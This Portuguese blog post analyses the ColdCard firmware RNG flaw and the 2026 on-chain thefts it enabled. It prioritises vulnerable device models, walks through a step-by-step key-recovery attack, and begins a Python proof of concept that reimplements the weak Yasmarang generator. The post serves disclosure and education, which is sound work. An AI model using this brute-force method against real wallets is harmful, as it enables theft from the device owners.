<p>Por isso a ColdCard pode estar desligada, sem bateria, dentro de um cofre. O atacante não precisa tocá-la. Ele só precisa reproduzir o mesmo número inteiro que ela sorteou. Com um RNG fraco, isso deixa de ser impossível e vira busca em espaço pequeno.</p>
<p>Você pode ver qualquer wallet na blockchain. Basta colar um endereço ou xpub em um explorador como o <a href="https://mempool.space"target="_blank" rel="noopener">mempool.space</a>. O explorador mostra saldo, UTXOs e histórico porque esses dados são públicos por design. A ColdCard, a Ledger, o Sparrow, o Electrum — nenhum deles &ldquo;segura&rdquo; seus bitcoins; eles apenas guardam as chaves que permitem gastar os UTXOs que estão no livro-razão global.</p>
<h2>Como o atacante prioriza os modelos<span class="hx:absolute hx:-mt-20" id="como-o-atacante-prioriza-os-modelos"></span>
    <a href="#como-o-atacante-prioriza-os-modelos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Nem todos os modelos são igualmente fáceis de atacar. A ordem de prioridade segue o tamanho do espaço de busca:</p>
<table>
  <thead>
      <tr>
          <th>Modelo / firmware</th>
          <th>O que o atacante precisa adivinhar</th>
          <th>Espaço aproximado</th>
          <th>Prioridade</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2/Mk3 v4.0.0–v4.1.9</td>
          <td>UID do chip, estado dos timers, histórico de chamadas ao RNG</td>
          <td>~40 bits no modelo da Coinkite; determinístico se tudo for conhecido</td>
          <td><strong>1º — atacar primeiro</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 sem reseed bem-sucedido</td>
          <td>Mesmo fallback de cima, com possível falha silenciosa no secure element</td>
          <td>~41 bits</td>
          <td><strong>2º</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 com reseed normal</td>
          <td>Estado do fallback + 32 bits do secure element</td>
          <td>~72 bits brutos, sendo 32 bits de verdadeiro segredo adicionado</td>
          <td><strong>3º — mais caro</strong></td>
      </tr>
      <tr>
          <td>Mk1; Mk2/Mk3 até v3.2.2</td>
          <td>TRNG de hardware funcionando</td>
          <td>~256 bits</td>
          <td>inatingível</td>
      </tr>
  </tbody>
</table>
<p>Por que o Mk3 é o mais fácil? Porque nele não há nenhuma contribuição criptográfica de um secure element. O fallback Yasmarang é totalmente determinístico dado o UID e o estado do timer. Se o atacante souber (ou puder restringir) esses valores, não existe segredo residual. A Coinkite estima o espaço efetivo em cerca de 40 bits; a <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> mostra que, como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, o SysTick sozinho limita o espaço a ~80 mil valores, ou seja, ~16 bits.</p>
<p>Nos Mk4/Q/Mk5 o reseed do secure element acrescenta 32 bits. Isso é o suficiente para tornar o ataque muito mais caro — mas ainda longe dos 128 bits mínimos aceitáveis. Além disso, a Block aponta um caminho no fonte em que uma exceção capturada durante a inicialização pode fazer o reseed não acontecer, caindo de volta no espaço menor.</p>
<p>O atacante racional começa pelo maior retorno: Mk2/Mk3 v4. Depois parte para Mk4/Q/Mk5 apenas se tiver recursos sobrando.</p>
<h2>128 bits, 40 bits e 72 bits: qual é a diferença?<span class="hx:absolute hx:-mt-20" id="128-bits-40-bits-e-72-bits-qual-é-a-diferença"></span>
    <a href="#128-bits-40-bits-e-72-bits-qual-%c3%a9-a-diferen%c3%a7a" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bits medem o tamanho do espaço de busca. Cada bit a mais dobra o trabalho. A diferença não é pequena — é exponencial.</p>
<p>Imagine que você consegue testar <strong>1 bilhão de candidatos por segundo</strong>:</p>
<table>
  <thead>
      <tr>
          <th>Bits</th>
          <th>Candidatos</th>
          <th>Tempo para varrer tudo</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>40</td>
          <td>~1,1 trilhão</td>
          <td>~18 minutos</td>
      </tr>
      <tr>
          <td>72</td>
          <td>~4,7 sextilhões</td>
          <td>~150 mil anos</td>
      </tr>
      <tr>
          <td>128</td>
          <td>~3,4 × 10³⁸</td>
          <td>~10²² anos (muitas ordens de magnitude além da idade do universo)</td>
      </tr>
  </tbody>
</table>
<p>Outra forma de enxergar: 40 bits é como procurar uma folha específica em uma pequena floresta. 72 bits é como procurar um grão de areia específico em todas as praias do planeta. 128 bits é como procurar um átomo específico entre todos os átomos de milhares de planetas.</p>
<p>Por isso 40 bits não são &ldquo;um pouco menos seguros&rdquo; que 128. São uma categoria completamente diferente: passível de ataque prático com hardware comum. 72 bits já exige recursos sérios, mas ainda está abaixo do mínimo aceitável para guardar valor. 128 bits é o padrão porque, com a computação conhecida, não dá para vencer.</p>
<h2>De um número inteiro para uma wallet<span class="hx:absolute hx:-mt-20" id="de-um-número-inteiro-para-uma-wallet"></span>
    <a href="#de-um-n%c3%bamero-inteiro-para-uma-wallet" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Abaixo, um exemplo real de como um número (a entropia) vira seed, chave privada e endereço. Usei 16 bytes (128 bits) só para caber numa linha; a ColdCard usava 32 bytes, mas a ideia é a mesma.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_from_bytes</span><span class="p">,</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.script</span> <span class="kn">import</span> <span class="n">p2wpkh</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">entropy</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">&#34;0123456789abcdef0123456789abcdef&#34;</span><span class="p">)</span>  <span class="c1"># 128 bits</span>
</span></span><span class="line"><span class="cl"><span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Saída:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">entropia (128 bits): 0123456789abcdef0123456789abcdef
</span></span><span class="line"><span class="cl">mnemonic (12 palavras): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
</span></span><span class="line"><span class="cl">seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
</span></span><span class="line"><span class="cl">root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
</span></span><span class="line"><span class="cl">chave privada (número inteiro): 1332683685242456724974769347593961509584253593377187298409830148921683854281
</span></span><span class="line"><span class="cl">endereço: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A chave privada é só um número inteiro. A partir dele, a <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">curva elíptica</a> calcula a chave pública; a chave pública é hasheada até virar o endereço. O endereço é o que aparece na blockchain; o número inteiro é o que permite gastar.</p>
<p>No caso ColdCard, o número inteiro não tinha 128 bits de aleatoriedade real. Tinha ~40. Então, em vez de procurar uma agulha no universo, o atacante procurava uma agulha em uma floresta pequena.</p>
<h2>Evidência real na blockchain<span class="hx:absolute hx:-mt-20" id="evidência-real-na-blockchain"></span>
    <a href="#evid%c3%aancia-real-na-blockchain" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não estou inventando números. O site independente <a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch.vercel.app</a> vem rastreando os drains transação a transação e publica o mínimo verificado: <strong>1.128,6633 BTC</strong> drenados de <strong>2.334 endereços</strong> confirmados. O próprio site deixa claro que esses são <strong>mínimos verificados, não totais</strong> — outras clusters provavelmente existem.</p>
<p>Ele identifica dois episódios de drenagem:</p>
<ul>
<li><strong>30 de julho de 2026</strong>, blocos <strong>960183 a 960191</strong> — 1.195 endereços drenados.</li>
<li><strong>31 de julho de 2026</strong>, blocos <strong>960345 a 960369</strong> — 1.126 endereços drenados.</li>
</ul>
<p>Os principais clusters públicos que compõem esse mínimo incluem:</p>
<ul>
<li><a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"><code>bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0</code></a> — <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">recebeu 594,47723261 BTC</a> em 501 outputs.</li>
<li><a href="https://mempool.space/address/bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3"target="_blank" rel="noopener"><code>bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3</code></a> — <a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener">recebeu ~398,476 BTC</a> em uma única transação com 491 inputs (<a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener"><code>14edd9ee...</code></a>).</li>
<li><a href="https://mempool.space/address/bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q"target="_blank" rel="noopener"><code>bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q</code></a> — <a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener">recebeu ~89,623 BTC</a> em uma única transação com 204 inputs (<a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener"><code>4b50d61a...</code></a>).</li>
</ul>
<p>Só esses três clusters já somam ~1.082 BTC; as demais transações verificadas levam o total mínimo para <strong>1.128,6633 BTC</strong>.</p>
<blockquote>
  <p>O primeiro cluster transferiu ~562 BTC para <a href="https://mempool.space/address/bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r"target="_blank" rel="noopener"><code>bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r</code></a>; é o mesmo dinheiro, não uma quarta vítima.</p>

</blockquote>
<p>Um exemplo concreto: a transação <a href="https://mempool.space/tx/78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d"target="_blank" rel="noopener"><code>78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d</code></a> consolida três inputs do mesmo endereço vulnerável <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, sendo um deles de quase <strong>29,9 BTC</strong>. Os três inputs usam a mesma chave pública comprimida:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ou seja, três UTXOs diferentes, mesmo dono, mesma chave privada. O atacante encontrou essa chave e assinou tudo de uma vez.</p>
<p>Outros endereços de origem com valores expressivos incluem <a href="https://mempool.space/address/bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf"target="_blank" rel="noopener"><code>bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf</code></a> (~24,08 BTC), <a href="https://mempool.space/address/bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5"target="_blank" rel="noopener"><code>bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5</code></a> (~14,43 BTC) e <a href="https://mempool.space/address/bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw"target="_blank" rel="noopener"><code>bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw</code></a> (~11,74 BTC). Você pode clicar em cada um e ver os UTXOs sendo movidos para um endereço de consolidação.</p>
<p>A Bitcoin Optech <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">edição 416</a> estimava perdas acima de 1.000 BTC enquanto o caso se desenrolava; o rastreamento independente agora confirma <strong>pelo menos 1.128,6633 BTC</strong> roubados.</p>
<h2>O que a timeline na blockchain sugere sobre a ordem do ataque<span class="hx:absolute hx:-mt-20" id="o-que-a-timeline-na-blockchain-sugere-sobre-a-ordem-do-ataque"></span>
    <a href="#o-que-a-timeline-na-blockchain-sugere-sobre-a-ordem-do-ataque" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch</a> mostra <strong>dois episódios distintos</strong>, separados por mais de 24 horas. O primeiro aconteceu entre os blocos 960183 e 960191 (30 de julho, por volta de 01:10 UTC); o segundo, entre 960345 e 960369 (31 de julho). Dentro do primeiro episódio, os três grandes clusters (~594, ~398 e ~89 BTC) foram minerados em blocos consecutivos — portanto, dentro de cada onda as varreduras foram disparadas praticamente ao mesmo tempo.</p>
<p>Essa forma de ondas separadas é compatível com duas interpretações:</p>
<ol>
<li><strong>Mesmo atacante, pré-computação em lotes.</strong> A primeira onda pega os alvos mais fáceis e mais bem financiados; a segunda onda vem de um segundo lote de candidatos já pré-computados.</li>
<li><strong>Múltiplos atacantes.</strong> Depois que a falha se tornou pública, outros atores entraram com seus próprios dicionários de estados prováveis.</li>
</ol>
<p>Em qualquer um dos casos, a economia do ataque favorece a ordem da tabela anterior. O Mk2/Mk3 v4 é o melhor custo-benefício:</p>
<ul>
<li><strong>~40 bits efetivos</strong> ≈ 2^40 ≈ <strong>1,1 trilhão</strong> de estados candidatos.</li>
<li>Numa GPU que teste 1 milhão de candidatos por segundo (incluindo derivação BIP32 e consulta ao explorer), levaria cerca de <strong>13 dias</strong> para varrer tudo. Com 100 GPUs/FPGAs, cai para <strong>poucas horas</strong>.</li>
<li>Como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, conforme a <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> aponta, o SysTick sozinho reduz o espaço a ~80 mil valores (~16 bits), tornando a busca trivial em segundos.</li>
</ul>
<p>Mk4/Q/Mk5 com reseed depende do quanto o fallback é conhecido:</p>
<ul>
<li>Se o fallback é conhecido, só restam os <strong>32 bits</strong> do secure element: 2^32 ≈ <strong>4,3 bilhões</strong> de candidatos por aparelho, ou cerca de <strong>1,2 hora</strong> por dispositivo a 1 milhão/s.</li>
<li>Se o fallback é completamente desconhecido, o espaço sobe para ~2^72, cerca de <strong>4,7 sextilhões</strong> de candidatos — inviável por força bruta pura.</li>
</ul>
<p>Por isso a primeira onda deve ser dominada por Mk3. A segunda onda, mais de um dia depois, pode incluir lotes adicionais do mesmo modelo ou modelos mais difíceis em que o atacante conseguiu perfilar o fallback. Sem identificar o modelo por trás de cada endereço, não dá para afirmar com certeza, mas a ordem de dificuldade está clara.</p>
<p>A velocidade também mostra que o ataque não começou do zero no dia 30 de julho. Para varrer 1,1 trilhão de estados e achar centenas de endereços com saldo, o atacante já tinha infraestrutura pronta ou passou dias ou semanas pré-computando antes de mover os primeiros UTXOs.</p>
<h2>O que a chain revela sobre a operação<span class="hx:absolute hx:-mt-20" id="o-que-a-chain-revela-sobre-a-operação"></span>
    <a href="#o-que-a-chain-revela-sobre-a-opera%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O site <a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> analisa em detalhe as três ondas que esvaziaram 1.082,59 BTC em <strong>41 minutos</strong> (blocos 960183 a 960191). Embora o site avise que foi compilado por um agente de IA e não revisado por humanos, os dados da blockchain são verificáveis:</p>
<table>
  <thead>
      <tr>
          <th>Onda</th>
          <th>Bloco(s)</th>
          <th>BTC</th>
          <th>Endereços</th>
          <th>Observação</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>960183</td>
          <td>~89,62</td>
          <td>204</td>
          <td>Levou tudo, inclusive poeira abaixo do valor da taxa.</td>
      </tr>
      <tr>
          <td>2</td>
          <td>960185</td>
          <td>~398,49</td>
          <td>491</td>
          <td>Ataque mais denso; deixou saldos abaixo de ~0,108 BTC.</td>
      </tr>
      <tr>
          <td>3</td>
          <td>960188–960191</td>
          <td>~594,48</td>
          <td>500</td>
          <td>A onda que a imprensa noticiou; começou 3,5 minutos depois da 2.</td>
      </tr>
  </tbody>
</table>
<p>Detalhes que saltam aos olhos:</p>
<ul>
<li><strong>Ordem por saldo:</strong> dentro de cada onda, as transações foram ordenadas do maior para o menor saldo. Isso não é acidente; é uma fila de prioridade configurada no script.</li>
<li><strong>Formato idêntico:</strong> todas as 1.195 sweeps gastam todos os UTXOs de um único endereço de origem para um único output, sem troco. Não há variação manual.</li>
<li><strong>Taxa uniforme:</strong> mediana de 30,136986 sat/vB em todas as ondas — o mesmo script escolhendo a taxa.</li>
<li><strong>Tipos de endereço:</strong> 1.182 eram SegWit nativo (<code>v0_p2wpkh</code>), 7 P2SH-wrapped e 6 legacy. Portanto o ataque não se limitou a BIP84, embora a maioria dos usuários ColdCard use bech32.</li>
<li><strong>Fundos parados:</strong> até o momento em que o site congelou os dados, os ~1.082 BTC ainda estavam nos vaults, sem mixer, sem peel chain, sem movimentação posterior.</li>
</ul>
<p>Tudo isso aponta para uma única operação automatizada, não para 1.195 roubos independentes.</p>
<h2>Como isso passou despercebido<span class="hx:absolute hx:-mt-20" id="como-isso-passou-despercebido"></span>
    <a href="#como-isso-passou-despercebido" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O mesmo <a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> mapeia os commits que introduziram o bug. Os fatos mais graves:</p>
<ul>
<li>O commit que adicionou a guarda <code>#ifndef</code> errada no <code>libngu</code> teve uma mensagem de <strong>um caractere</strong>, alterou 28 arquivos e <strong>não passou por pull request</strong>.</li>
<li>O commit <code>First pass w/ libNgU</code>, que migrou a geração de seeds para o libngu e removeu código GPL, alterou <strong>120 arquivos</strong> e também foi empurrado diretamente, sem PR.</li>
<li>Os dois commits posteriores que adicionaram o reseed de 32 bits e a mistura do secure element até abriram PRs, mas <strong>foram mergeados com zero reviews</strong>.</li>
</ul>
<p>Uma mudança crítica no caminho de geração de entropia passou sem revisão end-to-end. O TRNG correto existia no binário; o problema foi que o símbolo errado foi linkado, e ninguém escreveu um teste que provasse de onde a seed realmente vinha.</p>
<h2>O passo a passo conceitual do ataque<span class="hx:absolute hx:-mt-20" id="o-passo-a-passo-conceitual-do-ataque"></span>
    <a href="#o-passo-a-passo-conceitual-do-ataque" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes do código, o fluxo geral:</p>
<ol>
<li><strong>Reproduzir o RNG.</strong> O atacante implementa o Yasmarang exatamente como no firmware, incluindo o XOR com o segundo Yasmarang do <code>libNgU</code>.</li>
<li><strong>Enumerar estados plausíveis.</strong> Para cada combinação de UID, SysTick, RTC e, nos modelos novos, reseed do secure element, ele gera os 32 bytes que a ColdCard teria gerado como entropia.</li>
<li><strong>Derivar a wallet.</strong> A partir dessa entropia, calcula a mnemonic BIP39, a seed BIP32, e deriva os primeiros endereços de recebimento e troco.</li>
<li><strong>Consultar a blockchain.</strong> Para cada endereço derivado, pergunta a um explorador ou a um node próprio se existe UTXO.</li>
<li><strong>Parar no match.</strong> Quando um endereço derivado bate com um endereço que tem saldo, o atacante já tem a chave privada correspondente.</li>
<li><strong>Gastar.</strong> Com a chave privada, ele monta uma transação que move o UTXO para um endereço que ele controla.</li>
</ol>
<p>A blockchain é o oráculo. Sem ela, o atacante não saberia qual estado gerou dinheiro real. Com ela, cada UTXO encontrado confirma que ele acertou a chave.</p>
<h2>Código de prova de conceito<span class="hx:absolute hx:-mt-20" id="código-de-prova-de-conceito"></span>
    <a href="#c%c3%b3digo-de-prova-de-conceito" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O script abaixo é didático. Ele não foi otimizado para GPU, não roda em segundos contra 40 bits e não lida com todas as variações de firmware. O que ele faz é tornar o ataque legível, função por função.</p>
<h3>1. O PRNG quebrado: Yasmarang<span class="hx:absolute hx:-mt-20" id="1-o-prng-quebrado-yasmarang"></span>
    <a href="#1-o-prng-quebrado-yasmarang" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">yasmarang_step</span><span class="p">(</span><span class="n">state</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;state = [pad, n, d, dat]; muta a lista e devolve um uint32.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span> <span class="o">=</span> <span class="n">state</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span> <span class="o">+</span> <span class="n">dat</span> <span class="o">+</span> <span class="n">d</span> <span class="o">*</span> <span class="n">n</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">29</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">n</span> <span class="o">=</span> <span class="n">pad</span> <span class="o">|</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span> <span class="o">=</span> <span class="p">(</span><span class="n">d</span> <span class="o">^</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">31</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">dat</span> <span class="o">=</span> <span class="p">(</span><span class="n">dat</span> <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">out</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&lt;&lt;</span> <span class="mi">5</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">18</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">dat</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">state</span><span class="p">[:]</span> <span class="o">=</span> <span class="p">[</span><span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">out</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> implementa o gerador determinístico que estava no firmware. É a mesma função que qualquer um pode copiar do <a href="https://raw.githubusercontent.com/micropython/micropython/master/ports/stm32/rng.c"target="_blank" rel="noopener">código fonte do MicroPython</a>.</p>
<p><strong>Exemplo de estado:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="n">s</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
